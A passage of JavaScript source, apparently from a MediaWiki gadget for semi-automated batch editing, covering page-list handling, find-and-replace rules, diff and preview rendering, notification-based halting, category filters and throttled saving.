var val = listTextarea.getValue();
var count = val.trim() ? val.split('\n').filter(function(l) {
var line = l.trim();
return line !== "" && !line.startsWith("####");
}).length : 0;
$listCounter.text(count + ' pages');
}
listTextarea.on('change', updateListCount);
function updateDirtyState() {
if (isRunning && currentTitle && Editor.getValue() !== originalWikitext) $editorHeader.addClass('wa-dirty');
else $editorHeader.removeClass('wa-dirty');
}
var notificationWatermark = 0;
var lastNotifCheck = 0;
function checkNotifications(notifList) {
if ((ON_NOTIFY !== "warn" && ON_NOTIFY !== "stop")|| !notifList || notifList.length === 0) return false;
var triggerFound = false;
var newWatermark = notificationWatermark;
for (var i = 0; i < notifList.length; i++) {
var n = notifList[i];
var currentId = parseInt(n.id, 10) || 0;
if (currentId > newWatermark) {
newWatermark = currentId;
}
if (currentId > notificationWatermark && (n.type === 'edit-user-talk' || n.type === 'reverted')) {
triggerFound = true;
}
}
notificationWatermark = newWatermark;
if (triggerFound) {
$('.wa-editor-header').addClass('wa-header-alert');
if (ON_NOTIFY === "stop") {
var halt = confirm("A new talk page message or revert was detected!\n\nClick OK to stop the processing queue.\nClick Cancel to acknowledge and continue.");
if (halt) {
btnPower.emit('click');
return true; // Signals the save loop to halt
} else {
$('.wa-editor-header').removeClass('wa-header-alert');
}
}
}
return false;
}
function removeTopLine() {
var l = listTextarea.getValue().split('\n');
l.shift();
listTextarea.setValue(l.join('\n'));
updateListCount();
}
function updateInterfaceMode() {
var isAdminMode = togAdminEnable.getValue();
var pageLoaded = !!currentTitle;
btnSave.setDisabled(isAdminMode || !pageLoaded || !PERMS.canSave);
btnSkip.setDisabled(!pageLoaded);
btnPreview.setDisabled(!pageLoaded);
btnDiff.setDisabled(isAdminMode || !pageLoaded);
Editor.setDisabled(isAdminMode || !pageLoaded);
if (CAN_MOVE) {
var allowAdmin = isAdminMode && currentPageExists;
btnAdminMove.setDisabled(!(allowAdmin && currentVars['$xA']));
if (currentVars['$xA']) btnAdminMove.setTitle('Move page to ' + currentVars['$xA']);
else btnAdminMove.setTitle('Move page to $xA (Variable not set)');
}
if (IS_ADMIN) {
var allowAdmin = isAdminMode && currentPageExists;
btnAdminDel.setDisabled(!allowAdmin);
btnAdminProt.setDisabled(!allowAdmin);
}
}
function renderDiff() {
captureViewScroll();
$visualOut.css('opacity', '0.7');
var currentText = Editor.getValue();
new mw.Api().post({
'action': 'compare',
fromtitle: currentTitle,
toslots: 'main',
'totext-main': currentText,
slots: 'main',
topst: window.wa_diffPST ? true : undefined,
prop: 'diff',
formatversion: 2
}).then(function(data) {
var diffBody = data.compare && data.compare.bodies && data.compare.bodies.main;
if (diffBody) {
$visualOut.html('<h4>Diff: ' + currentTitle + '</h4><table class="diff"><colgroup><col class="diff-marker"><col class="diff-content"><col class="diff-marker"><col class="diff-content"></colgroup><tbody>' + diffBody + '</tbody></table>');
processDiffTable();
} else {
$visualOut.html('<div style="color:green; text-align:center; padding-top:20px;">No Changes detected</div>');
}
restoreViewScroll(currentTitle, 'diff');
$visualOut.css('opacity', '1');
});
}
function processDiffTable() {
var rightLineNum = 0;
$visualOut.find('table.diff tr').each(function() {
var $tr = $(this);
var $linenos = $tr.find('td.diff-lineno');
if ($linenos.length > 0) {
var txt = $linenos.last().text();
var m = txt.match(/(\d+)/);
if (m) rightLineNum = parseInt(m[1]);
return;
}
if ($tr.find('.diff-addedline').length > 0 || $tr.find('.diff-context').length > 0) {
$tr.attr('data-line', rightLineNum);
$tr.css('cursor', 'pointer').attr('title', 'Ctrl+click:COPY | Click:JUMP | Double click:SELECT');
rightLineNum++;
}
});
// Single click: jump. Ctrl+click: copy
$visualOut.on('click', 'tr[data-line]', function(e) {
var $row = $(this);
// copy
if (e.ctrlKey || e.metaKey) {
e.preventDefault();
var $clickedTd = $(e.target).closest('td');
var cellIndex = $clickedTd.index(); // 0-1 left side, 2-3 right side
var $targetCell;
if (cellIndex <= 1) {
$targetCell = $row.find('td.diff-deletedline, td.diff-context').first(); // left half
} else {
$targetCell = $row.find('td.diff-addedline, td.diff-context').last(); // right half
}
if ($targetCell.length === 0 || $.trim($targetCell.text()) === '') return;
var plainText = $targetCell.text();
navigator.clipboard.writeText(plainText).then(function() {
// Flash the cell green
$targetCell.addClass('wa-flash-success');
setTimeout(function() {
$targetCell.removeClass('wa-flash-success');
}, 400);
});
return; // Exit early, prevent jump
}
// jump
var lineNum = parseInt($row.attr('data-line'));
Editor.scrollToLine(lineNum);
});
// Double click: jump and select
$visualOut.on('dblclick', 'tr[data-line]', function(e) {
if (e.ctrlKey || e.metaKey) return;
if (window.getSelection) {
window.getSelection().removeAllRanges();
}
var $row = $(this);
var lineNum = parseInt($row.attr('data-line'));
Editor.scrollToLine(lineNum, true);
});
}
function renderPreview() {
captureViewScroll();
$visualOut.css('opacity', '0.7');
new mw.Api().post({
action: 'parse',
title: currentTitle,
text: Editor.getValue(),
prop: 'text|categorieshtml|modules|jsconfigvars',
useskin: mw.config.get('skin'),
disablelimitreport: true,
pst: true,
contentmodel: 'wikitext'
}).then(function(data) {
if (data.parse && data.parse.text) {
var $prev = $('<div>').html(data.parse.text['*']);
if (data.parse.categorieshtml) $prev.append(data.parse.categorieshtml['*']);
$prev.find('a').attr('target', '_blank');
$visualOut.empty().append($prev);
mw.loader.using(data.parse.modules.concat(data.parse.modulestyles, data.parse.modulescripts), function() {
mw.hook('wikipage.content').fire($('.wa-visual-output .mw-parser-output'));
});
restoreViewScroll(currentTitle, 'preview');
$visualOut.css('opacity', '1');
}
}).catch(function(err) {
$visualOut.html('Error generating preview.');
alert("Preview failed: " + err);
});
}
async function transformPageText(rawText, title, config) {
var filters = config.filters;
if (filters) {
var check = function(text, rule) {
if (!rule || !rule.val) return false;
if (rule.regex) {
try {
return new RegExp(rule.val, 'mu').test(text);
} catch (e) {
return false;
}
}
return text.indexOf(rule.val) !== -1;
};
if (filters.skipContains && filters.skipContains.val && check(rawText, filters.skipContains)) {
return {
skipped: true,
reason: 'Contains: ' + filters.skipContains.val
};
}
if (filters.skipNotContains && filters.skipNotContains.val && !check(rawText, filters.skipNotContains)) {
return {
skipped: true,
reason: 'Missing: ' + filters.skipNotContains.val
};
}
}
var mode = config.mode;
var inputs = [];
var compiledSpecies = null;
if (config.templateFilter) {
var tFilter = config.templateFilter;
if (tFilter[0] === "^") tFilter = "^\\{\\{\\s*" + tFilter.slice(1);
else tFilter = "\\{\\{\\s*" + tFilter;
compiledSpecies = tFilter + "(?=\\s*[|}\\n])";
}
var skeleton = PageProtector.protect(rawText, mode, config.excludes, compiledSpecies);
if (mode === 'target') inputs = PageProtector.store;
else inputs = [skeleton];
var combinedRules = rulesRegistry.filter(r => r.isActive()).map(r => ({
find: r.find.getValue(),
replace: r.rep.getValue(),
regex: r.regex.getValue(),
flags: r.flags.getValue(),
enabled: r.isActive(),
isFunc: r.isFunc()
}));
if (togWikiTypos.getValue()) combinedRules = combinedRules.concat(wikiTypos);
if (localTypos.length > 0) combinedRules = combinedRules.concat(localTypos);
var payload = {
texts: inputs,
vars: config.vars,
preCode: getUserCode(txtPreScript, 'wAwB_Pre'),
libraryCode: currentLibrary.code,
rules: combinedRules,
postCode: getUserCode(txtPostScript, 'wAwB_Post')
};
var result = await WorkerEngine.run(payload);
if (result.skipped) return {
skipped: true,
reason: result.reason
};
var finalText = "";
if (mode === 'target') {
PageProtector.store = result.texts;
finalText = PageProtector.restore(skeleton);
} else {
finalText = PageProtector.restore(result.texts[0]);
}
return {
skipped: false,
text: finalText,
summaryAppend: result.summaryAppend,
summaryOverride: result.summaryOverride
};
}
async function processPageContent() {
try {
setStatus('Processing...', 'working');
var mode = dropProtMode.getValue();
var activeConfig = {
mode: mode,
excludes: {},
templateFilter: inpTemplateFilter.getValue().trim(),
vars: currentVars,
filters: {
skipContains: {
val: inpSkipContains.getValue(),
regex: togSkipContainsRegex.getValue()
},
skipNotContains: {
val: inpSkipNotContains.getValue(),
regex: togSkipNotContainsRegex.getValue()
}
}
};
if (mode === 'protect') {
for (var k in protCheckboxes) activeConfig.excludes[k] = protCheckboxes[k].isSelected();
} else {
var sel = radTargetSet.findSelectedItem();
activeConfig.excludes = sel ? sel.getData() : null;
}
var res = await transformPageText(originalWikitext, currentTitle, activeConfig);
if (res.skipped) {
removeTopLine();
loadNextPage();
return;
}
currentPageSummaryAppend = res.summaryAppend || "";
currentPageSummaryOverride = res.summaryOverride || null;
updateSummaryPreview(inputSummary.getValue());
if (chkSkipNoChange.isSelected() && res.text === originalWikitext) {
removeTopLine();
loadNextPage();
return;
}
setStatus('Ready');
Editor.setValue(res.text);
if (CAN_MOVE || IS_ADMIN) updateInterfaceMode();
else {
Editor.setDisabled(false);
btnSave.setDisabled(!PERMS.canSave);
btnSkip.setDisabled(false);
btnPreview.setDisabled(false);
btnDiff.setDisabled(false);
}
updateDirtyState();
renderCurrentView();
if (PERMS.allowBot && togAutoSave.getValue()) {
var delay = Math.max(0, parseInt(txtAutoDelay.getValue(), 10) || 0) * 1000;
setStatus('Auto-save in ' + (delay / 1000) + 's...', 'working');
if (autoSaveTimer) clearTimeout(autoSaveTimer);
autoSaveTimer = setTimeout(function() {
if (isRunning && PERMS.canSave) {
btnSave.emit('click');
}
}, delay);
}
} catch (e) {
setStatus('Error', 'error');
alert(e);
btnPower.emit('click');
}
}
async function runPreParseBatch() {
// 1. Toggle / Stop Logic
if (isRunning) {
isRunning = false;
setStatus('Stopping...', 'working');
btnPreParse.setLabel('Pre-parse');
return;
}
// 2. Start & Deduplicate
var currentVal = listTextarea.getValue();
var cleanVal = getDeduplicatedList(currentVal).join('\n');
listTextarea.setValue(cleanVal);
updateListCount();
isRunning = true;
toggleUI(true);
// 3. Lock UI
toggleUI(true);
btnSkip.setDisabled(true);
btnDiff.setDisabled(true);
btnPreview.setDisabled(true);
btnSave.setDisabled(true);
Editor.setDisabled(true);
btnPreParse.setLabel('Stop pre-parse');
// Inject STOP marker if not present
var currentList = listTextarea.getValue().split('\n');
if (!currentList.includes('####STOP')) {
currentList.push('####STOP');
listTextarea.setValue(currentList.join('\n'));
}
// Gather Config
var activeConfig = {
mode: dropProtMode.getValue(),
excludes: {},
templateFilter: inpTemplateFilter.getValue().trim(),
vars: {},
filters: {
skipContains: {
val: inpSkipContains.getValue(),
regex: togSkipContainsRegex.getValue()
},
skipNotContains: {
val: inpSkipNotContains.getValue(),
regex: togSkipNotContainsRegex.getValue()
}
}
};
if (activeConfig.mode === 'protect') {
for (var k in protCheckboxes) activeConfig.excludes[k] = protCheckboxes[k].isSelected();
} else {
var sel = radTargetSet.findSelectedItem();
activeConfig.excludes = sel ? sel.getData() : null;
}
setStatus('Pre-parsing...', 'working');
while (isRunning) {
var lines = listTextarea.getValue().split('\n');
var batchTitles = [];
var stopFound = false;
for (var i = 0; i < lines.length; i++) {
var line = lines[i];
if (line === '####STOP') {
stopFound = true;
break;
}
if (line && !line.startsWith('####')) {
var parts = line.split('|');
batchTitles.push({
fullLine: line,
title: parts[0],
vars: parts.slice(1)
});
}
if (batchTitles.length >= 50) break;
}
if (batchTitles.length === 0) {
if (stopFound) setStatus('Pre-parse complete');
else setStatus('List empty');
break;
}
$listCounter.text('Fetching ' + batchTitles.length + '...');
var badCats = inpSkipCategories.getValue().split('|').map(s => s.trim()).filter(s => s);
var reqCats = inpSkipNotCategories.getValue().split('|').map(s => s.trim()).filter(s => s);
var api = new mw.Api();
try {
var data = await api.get({
action: 'query',
prop: 'revisions' + (badCats.length + reqCats.length > 0 ? '|categories' : ''),
titles: batchTitles.map(t => t.title).join('|'),
rvprop: 'content',
rvslots: 'main',
redirects: 1,
cllimit: 'max'
});
var pageMap = {};
if (data.query && data.query.pages) Object.values(data.query.pages).forEach(p => pageMap[p.title] = p);
var redirMap = {};
if (data.query && data.query.redirects) data.query.redirects.forEach(r => redirMap[r.from] = r.to);
var keptLines = [];
for (var k = 0; k < batchTitles.length; k++) {
var item = batchTitles[k];
var lookupTitle = redirMap[item.title] || item.title;
var page = pageMap[lookupTitle];
if (!page || page.missing || page.invalid || !page.revisions || !page.revisions[0]) {
console.warn("Skipping invalid/missing page:", item.title);
continue;
}
var pageCats = new Set((page.categories || []).map(c => c.title.replace(/^[^:]+:/, '').trim()));
if (badCats.some(c => pageCats.has(c))) continue; // Skip
if (reqCats.length > 0 && !reqCats.some(c => pageCats.has(c))) continue; // Skip
var rawText = page.revisions[0].slots.main['*'];
activeConfig.vars = {
'$xx': item.title
};
item.vars.forEach((v, idx) => activeConfig.vars['$x' + String.fromCharCode(65 + idx)] = v);
var res = await transformPageText(rawText, item.title, activeConfig);
// UPDATED LOGIC: Respect "Skip if no change" checkbox
if (!res.skipped && (!chkSkipNoChange.isSelected() || res.text !== rawText)) {
keptLines.push(item.fullLine);
}
}
var freshLines = listTextarea.getValue().split('\n');
var stopIndex = -1;
for (var x = 0; x < freshLines.length; x++) {
if (freshLines[x] === '####STOP') {
stopIndex = x;
break;
}
}
if (stopIndex > -1) {
var topChunk = freshLines.slice(0, stopIndex);
var botChunk = freshLines.slice(stopIndex + 1);
var processedSet = new Set(batchTitles.map(t => t.fullLine));
var newTop = topChunk.filter(l => !processedSet.has(l));
var newList = newTop.concat(['####STOP']).concat(botChunk).concat(keptLines);
listTextarea.setValue(newList.join('\n'));
updateListCount();
}
} catch (e) {
console.error(e);
setStatus('Batch error: ' + e, 'error');
break;
}
}
isRunning = false;
toggleUI(false);
WorkerEngine.destroy();
btnPreParse.setLabel('Pre-parse');
if (listTextarea.getValue().startsWith('####STOP')) setStatus('Pre-parse done!');
else setStatus('Stopped');
}
btnPreParse.on('click', runPreParseBatch);
function loadNextPage() {
if (!isRunning) return;
var allLines = listTextarea.getValue().split('\n');
var listChanged = false;
var stopCommand = false;
while (allLines.length > 0) {
var line = allLines[0];
if (line === '####STOP') {
stopCommand = true;
break;
}
if (line.startsWith('####') || line === "") {
allLines.shift();
listChanged = true;
} else {
break;
}
}
if (listChanged) {
listTextarea.setValue(allLines.join('\n'));
updateListCount();
}
if (stopCommand) {
btnPower.emit('click');
setStatus("Stopped by ####STOP");
return;
}
if (allLines.length === 0) {
btnPower.emit('click');
setStatus("Done!");
return;
}
var raw = allLines[0];
var parts = raw.split('|');
currentTitle = parts[0].trim();
baseRevId = 0;
originalWikitext = "";
if (!currentTitle) {
removeTopLine();
loadNextPage();
return;
}
currentVars = {};
currentVars['$xx'] = currentTitle;
for (var i = 1; i < parts.length; i++) currentVars['$x' + String.fromCharCode(64 + i)] = parts[i];
currentPageSummaryAppend = "";
currentPageSummaryOverride = null;
updateSummaryPreview(inputSummary.getValue());
setStatus('Loading...', 'working');
btnSave.setDisabled(true);
btnPreview.setDisabled(true);
btnDiff.setDisabled(true);
btnSkip.setDisabled(true);
Editor.setDisabled(true);
$titleLink.attr('href', mw.util.getUrl(currentTitle)).text(currentTitle);
$editorHeader.removeClass('wa-dirty');
Editor.setValue('Loading...');
$infoContainer.empty();
currentPageExists = false;
btnWatch.setDisabled(true);
btnManualEdit.setDisabled(true);
if (CAN_MOVE || IS_ADMIN) updateInterfaceMode();
var badCats = inpSkipCategories.getValue().split('|').map(s => s.trim()).filter(s => s);
var reqCats = inpSkipNotCategories.getValue().split('|').map(s => s.trim()).filter(s => s);
var api = new mw.Api();
var params = {
action: 'query',
prop: 'revisions|info' + (badCats.length + reqCats.length > 0 ? '|categories' : ''),
titles: currentTitle,
rvprop: 'content|timestamp|ids',
rvslots: 'main',
inprop: 'watched',
cllimit: 'max'
};
var now = Date.now();
var shouldCheckNotifs = (ON_NOTIFY === "warn" || ON_NOTIFY === "stop") && (now - lastNotifCheck > ON_NOTIFY_FREQ);
if (shouldCheckNotifs) {
params.meta = 'notifications';
params.notprop = 'list';
params.notsections = 'alert';
params.notlimit = 4;
lastNotifCheck = now;
}
var rMode = redirMode.findSelectedItem().getData();
if (rMode === 'follow') params.redirects = 1;
return api.get(params).then(async function(data) {
// piggyback notification check
if (data.query && data.query.notifications && data.query.notifications.list) {
var stopped = checkNotifications(data.query.notifications.list);
if (stopped) return; // exit before loading the page content
}
var pid = Object.keys(data.query.pages)[0];
var page = data.query.pages[pid];
currentPageExists = !page.missing && !page.invalid;
var pageCats = new Set((page.categories || []).map(c => c.title.replace(/^[^:]+:/, '').trim()));
if (badCats.some(c => pageCats.has(c))) {
setStatus('Skip: cat blacklist');
removeTopLine();
loadNextPage();
return;
}
if (reqCats.length > 0 && !reqCats.some(c => pageCats.has(c))) {
setStatus('Skip: cat whitelist');
removeTopLine();
loadNextPage();
return;
}
if (rMode === 'follow' && data.query.redirects) {
currentTitle = page.title;
$titleLink.attr('href', mw.util.getUrl(currentTitle)).text(currentTitle);
mw.notify('Redirect followed to: ' + currentTitle);
}
if (rMode === 'skip' && page.redirect !== undefined) {
removeTopLine();
loadNextPage();
return;
}
var skipMode = radSkipExist.findSelectedItem().getData();
if (pid === "-1") {
if (skipMode === 'missing') {
removeTopLine();
loadNextPage();
return;
}
originalWikitext = "";
baseRevId = 0;
} else {
if (skipMode === 'exists') {
removeTopLine();
loadNextPage();
return;
}
originalWikitext = page.revisions[0].slots.main['*'];
baseRevId = page.revisions[0].revid;
}
if (page.revisions && page.revisions.length > 0) {
var rev = page.revisions[0];
var ts = new Date(rev.timestamp).toISOString().replace('T', ' ').substring(0, 16);
$infoContainer.empty().append('Last edit: ' + ts + ' | ', $('<a>').attr('href', mw.util.getUrl(currentTitle, {
action: 'history'
})).attr('target', '_blank').text('history'));
}
btnWatch.setDisabled(!currentPageExists);
btnManualEdit.setDisabled(!currentPageExists);
if (page.watched !== undefined) btnWatch.setIcon('unStar');
else btnWatch.setIcon('star');
if (CAN_MOVE || IS_ADMIN) {
updateInterfaceMode();
if (togAdminEnable.getValue()) {
Editor.setValue(originalWikitext);
renderCurrentView();
setStatus('Ready (Page actions)');
return;
}
}
processPageContent();
}).catch(function(e) {
setStatus('API error', 'error');
alert('Load error: ' + e);
btnPower.emit('click');
});
}
async function fetchWithContinue(api, params) {
var allTitles = new Set();
var continueToken = {};
var safetyLimit = FETCH_SAFETY_LIMIT;
var count = 0;
isFetching = true;
btnAdd.setLabel('Cancel fetch');
$fetchStatus.text('Fetching...').show();
try {
while (isFetching && count < safetyLimit) {
var merged = Object.assign({}, params, continueToken);
var data = await api.get(merged);
var batch = [];
if (data.watchlistraw) batch = data.watchlistraw;
else if (data.query) {
if (data.query.pages) batch = Object.values(data.query.pages);
else if (data.query.categorymembers) batch = data.query.categorymembers;
else if (data.query.backlinks) batch = data.query.backlinks;
else if (data.query.embeddedin) batch = data.query.embeddedin;
else if (data.query.imageusage) batch = data.query.imageusage;
else if (data.query.search) batch = data.query.search;
else if (data.query.allpages) batch = data.query.allpages;
else if (data.query.usercontribs) batch = data.query.usercontribs;
else if (data.query.pageswithprop) batch = data.query.pageswithprop;
}
if (batch.length > 0) {
batch.forEach(item => {
if (item.title) allTitles.add(item.title);
});
count = allTitles.size;
$fetchStatus.text('Fetched ' + count + '...');
}
if (data.continue) continueToken = data.continue;
else break;
}
} catch (e) {
alert("Fetch interrupted: " + e);
}
isFetching = false;
btnAdd.setLabel('Add to list').setDisabled(false);
$fetchStatus.text('Added ' + allTitles.size + ' pages').delay(3000).fadeOut();
if (allTitles.size > 0) {
hasNewSources = true;
checkSummaryWarning();
}
return Array.from(allTitles);
}
function toggleUI(d) {
if (d) {
btnPower.setLabel('Stop').setIcon('power').setFlags(['destructive']);
} else {
btnPower.setLabel('Start').setIcon('power').clearFlags().setFlags(['primary', 'progressive']);
if (PERMS.allowBot) togAutoSave.setValue(false);
}
toggleConfig(d);
btnSort.setDisabled(d);
btnDedup.setDisabled(d);
btnClear.setDisabled(d);
btnSaveProj.setDisabled(d);
btnLoadProj.setDisabled(d);
btnSkip.setDisabled(!d);
btnSave.setDisabled(true);
listTextarea.setReadOnly(d);
if (d) listTextarea.$element.addClass('wa-list-running');
else listTextarea.$element.removeClass('wa-list-running');
}
function resetPanels() {
Editor.setValue('');
$titleLink.text('Page content').removeAttr('href');
$editorHeader.removeClass('wa-dirty');
setStatus('Ready');
$('#wa-summary-preview').val('');
currentTitle = null;
$visualOut.empty();
$infoContainer.empty();
btnWatch.setDisabled(true);
btnManualEdit.setDisabled(true);
Editor.setDisabled(true);
currentPageExists = false;
if (CAN_MOVE || IS_ADMIN) updateInterfaceMode();
toggleUI(false);
updateListCount();
if (autoSaveTimer) clearTimeout(autoSaveTimer);
}
function arrayMove(arr, old_index, new_index) {
if (new_index >= arr.length) {
var k = new_index - arr.length + 1;
while (k--) arr.push(undefined);
}
arr.splice(new_index, 0, arr.splice(old_index, 1)[0]);
}
function updateRuleButtons() {
rulesRegistry.forEach(function(item, idx) {
item.btnUp.setDisabled(idx === 0);
item.btnDown.setDisabled(idx === rulesRegistry.length - 1);
});
}
function addRule() {
var row = $('<div>').addClass('wa-rule-row');
var controls = $('<div>').addClass('wa-rule-controls');
var btnUp = new OO.ui.ButtonWidget({
icon: 'collapse',
framed: false,
title: 'Move up',
classes: ['wa-rule-btn']
});
var btnDown = new OO.ui.ButtonWidget({
icon: 'expand',
framed: false,
title: 'Move down',
classes: ['wa-rule-btn']
});
controls.append(btnUp.$element, btnDown.$element);
var contentDiv = $('<div>').addClass('wa-rule-content');
var f = new OO.ui.TextInputWidget({
placeholder: 'Find'
});
var r = new OO.ui.TextInputWidget({
placeholder: 'Replace'
});
var reg = new OO.ui.ToggleSwitchWidget();
var fl = new OO.ui.TextInputWidget({
value: 'gmu',
disabled: true
}).toggle(false);
var btnEnable = new OO.ui.ButtonWidget({
icon: 'power',
framed: false,
title: 'Toggle rule',
flags: ['progressive']
});
var isRuleActive = true;
var btnFunc = new OO.ui.ButtonWidget({
icon: 'code',
framed: false,
title: 'Toggle JS mode',
disabled: true
});
var isRuleFunc = false;
var toggleRule = function(forceVal) {
var val = (forceVal !== undefined) ? forceVal : !isRuleActive;
isRuleActive = val;
row.css('opacity', isRuleActive ? 1 : 0.6);
if (isRuleActive) btnEnable.setFlags(['progressive']);
else btnEnable.clearFlags();
};
btnEnable.on('click', function() {
toggleRule();
});
var toggleFunc = function(forceVal) {
var val = (forceVal !== undefined) ? forceVal : !isRuleFunc;
isRuleFunc = val;
if (isRuleFunc) {
btnFunc.setFlags(['progressive']);
r.$input.attr('placeholder', 'return match.toUpperCase();');
} else {
btnFunc.clearFlags();
r.$input.attr('placeholder', 'Replace');
}
};
btnFunc.on('click', function() {
toggleFunc();
});
btnFunc.toggle(false);
reg.on('change', function(v) {
fl.setDisabled(!v);
fl.toggle(v);
btnFunc.setDisabled(!v);
if (!v) {
btnFunc.toggle(false);
if (isRuleFunc) toggleFunc(false);
} else btnFunc.toggle(true);
});
var del = new OO.ui.ButtonWidget({
icon: 'trash',
flags: 'destructive',
framed: false,
title: 'Delete rule',
});
del.on('click', function() {
row.fadeOut(200, function() {
row.remove();
rulesRegistry = rulesRegistry.filter(x => x.row !== row);
updateRuleButtons();
});
});
contentDiv.append(f.$element, $('<div>').css('margin-top', '3px').append(r.$element), $('<div>').addClass('wa-rule-opt-row').append($('<div>').css({
'display': 'flex',
'align-items': 'center'
}).append($('<div>').css({
'display': 'flex',
'align-items': 'center'
}).append($('<span>').text('Regex: ').css({
'font-size': '0.8em',
'margin-right': '4px'
}), reg.$element, fl.$element.css({
'width': '50px',
'margin-left': '5px'
})), btnFunc.$element.css('margin-left', '10px')), $('<div>').css('display', 'flex').append(btnEnable.$element, del.$element)));
row.append(controls, contentDiv);
$rulesList.append(row);
var ruleItem = {
row: row,
find: f,
rep: r,
regex: reg,
flags: fl,
btnUp: btnUp,
btnDown: btnDown,
enable: btnEnable,
del: del,
btnFunc: btnFunc,
isActive: function() {
return isRuleActive;
},
setActive: toggleRule,
isFunc: function() {
return isRuleFunc;
},
setFunc: toggleFunc
};
rulesRegistry.push(ruleItem);
btnUp.on('click', function() {
var idx = rulesRegistry.indexOf(ruleItem);
if (idx > 0) {
var prevRow = rulesRegistry[idx - 1].row;
row.fadeOut(150, function() {
row.insertBefore(prevRow).fadeIn(150).addClass('wa-highlight');
setTimeout(function() {
row.removeClass('wa-highlight');
}, 500);
});
arrayMove(rulesRegistry, idx, idx - 1);
updateRuleButtons();
}
});
btnDown.on('click', function() {
var idx = rulesRegistry.indexOf(ruleItem);
if (idx < rulesRegistry.length - 1) {
var nextRow = rulesRegistry[idx + 1].row;
row.fadeOut(150, function() {
row.insertAfter(nextRow).fadeIn(150).addClass('wa-highlight');
setTimeout(function() {
row.removeClass('wa-highlight');
}, 500);
});
arrayMove(rulesRegistry, idx, idx + 1);
updateRuleButtons();
}
});
updateRuleButtons();
}
btnAddRule.on('click', addRule);
addRule();
togWikiTypos.on('change', function(v) {
if (v) {
if (wikiTypos.length > 0) lblWikiStatus.text(wikiTypos.length + ' rules loaded (Cached)');
else {
lblWikiStatus.text('Fetching...');
togWikiTypos.setDisabled(true);
new mw.Api().get({
action: 'query',
prop: 'revisions',
titles: mw.config.get('wgFormattedNamespaces')[4] + ':AutoWikiBrowser/Typos',
rvprop: 'content',
rvslots: 'main',
formatversion: 2
}).then(function(d) {
var page = d.query.pages[0];
if (!page.missing) {
wikiTypos = parseTypoContent(page.revisions[0].slots.main.content);
lblWikiStatus.text(wikiTypos.length + ' rules loaded');
} else {
lblWikiStatus.text('Page not found');
togWikiTypos.setValue(false);
}
}).catch(function() {
lblWikiStatus.text('Error');
togWikiTypos.setValue(false);
}).always(function() {
togWikiTypos.setDisabled(false);
});
}
} else lblWikiStatus.text('Rules inactive');
});
btnLoadLocal.on('click', function() {
$typoInput.click();
});
$typoInput.on('change', function(e) {
var file = e.target.files[0];
if (!file) return;
var reader = new FileReader();
reader.onload = function(evt) {
localTypos = parseTypoContent(evt.target.result);
lblLocalStatus.text(localTypos.length + ' local rules loaded');
btnClearLocal.setDisabled(false);
};
reader.readAsText(file);
$typoInput.val('');
});
btnClearLocal.on('click', function() {
localTypos = [];
lblLocalStatus.text('No local rules');
btnClearLocal.setDisabled(true);
});
btnLoadLib.on('click', function() {
$libInput.click();
});
btnRemoveLib.on('click', function() {
currentLibrary = {
name: null,
code: null
};
updateLibUI();
});
$libInput.on('change', function(e) {
var file = e.target.files[0];
if (!file) return;
var reader = new FileReader();
reader.onload = function(evt) {
currentLibrary = {
name: file.name,
code: evt.target.result
};
updateLibUI();
};
reader.readAsText(file);
$libInput.val('');
});
btnPower.on('click', async function() {
hasNewSources = false;
checkSummaryWarning();
$('.wa-editor-header').removeClass('wa-header-alert');
if (!isRunning) {
viewScroll = resetViewScroll();
if (ON_NOTIFY === "warn" || ON_NOTIFY === "stop") {
setStatus('Setting watermark...', 'working');
try {
var notifData = await new mw.Api().get({
action: 'query',
meta: 'notifications',
notprop: 'list',
notsections: 'alert',
notlimit: 1,
formatversion: 2
});
if (notifData.query && notifData.query.notifications && notifData.query.notifications.list.length > 0) {
notificationWatermark = parseInt(notifData.query.notifications.list[0].id, 10) || 0;
} else {
notificationWatermark = 0;
}
} catch (e) {
console.warn("wAwB: Failed to fetch notification watermark", e);
}
}
if (SAVED_SESSION === 0) mw.track('stats.mediawiki_gadget_wAwB_total');
isRunning = true;
toggleUI(true);
loadNextPage();
} else {
if (SAVED_RUN > 0) {
mw.track('stats.mediawiki_gadget_wAwB_saved_total', SAVED_RUN, {
wiki: WIKI
});
SAVED_SESSION += SAVED_RUN;
SAVED_RUN = 0;
}
isRunning = false;
toggleUI(false);
WorkerEngine.destroy();
resetPanels();
}
});
inputSummary.on('change', function() {
checkSummaryWarning();
if (currentTitle) {
updateSummaryPreview(inputSummary.getValue());
}
});
btnSkip.on('click', function() {
if (Editor.getValue() === 'Loading...') return;
removeTopLine();
loadNextPage();
});
btnDiff.on('click', function() {
currentViewMode = 'diff';
updateDirtyState();
if (currentTitle) renderDiff();
});
btnPreview.on('click', function() {
currentViewMode = 'preview';
updateDirtyState();
if (currentTitle) renderPreview();
});
btnSave.on('click', function() {
if (Editor.getValue() === 'Loading...' || !currentTitle) return;
if (autoSaveTimer) clearTimeout(autoSaveTimer);
btnSave.setDisabled(true);
setStatus('Saving...', 'working');
var effectiveDelay = PERMS.saveDelay || 0;
if (effectiveDelay > 0) setStatus('Throttling (' + (effectiveDelay / 1000) + 's)...', 'working');
setTimeout(function() {
if (effectiveDelay > 0) setStatus('Saving...', 'working');
var finalSum = $('#wa-summary-preview').val().trim();
var summary = finalSum + SUMMARY_SUFFIX;
new mw.Api().postWithToken('csrf', {
action: 'edit',
assert: 'user', //throw 'assertuserfailed' when logged-out
title: currentTitle,
text: Editor.getValue(),
summary: summary,
minor: chkMinor.isSelected(),
baserevid: baseRevId,
bot: PERMS.allowBot,
watchlist: 'nochange',
tags: DO_TAG ? APP_NAME : undefined
}).then(function() {
SAVED_RUN += 1;
removeTopLine();
loadNextPage();
}).catch(function(c) {
btnSave.setDisabled(false);
setStatus('Save error', 'error');
alert('Save failed: ' + c);
});
}, effectiveDelay);
});
btnManualEdit.on('click', function() {
if (Editor.getValue() === 'Loading...' || !currentTitle) return;
// Calculate the final injected summary
var base = currentPageSummaryOverride !== null ? currentPageSummaryOverride : inputSummary.getValue();
var finalSum = base + (currentPageSummaryAppend || "");
var translatedSummary = injectVars(finalSum);
var summary = translatedSummary; // no SUMMARY_SUFFIX
// Create an invisible form targeting a new tab
var $form = $('<form>').attr({
method: 'POST',
action: mw.util.getUrl(currentTitle, { action: 'edit' }),
target: '_blank'
}).hide();
// Populate it with MediaWiki's native input names
$('<textarea>').attr('name', 'wpTextbox1').val(Editor.getValue()).appendTo($form);
$('<input>').attr('name', 'wpSummary').val(summary).appendTo($form);
if (chkMinor.isSelected()) {
$('<input>').attr('name', 'wpMinoredit').val('1').appendTo($form);
}
// Append, fire, and destroy
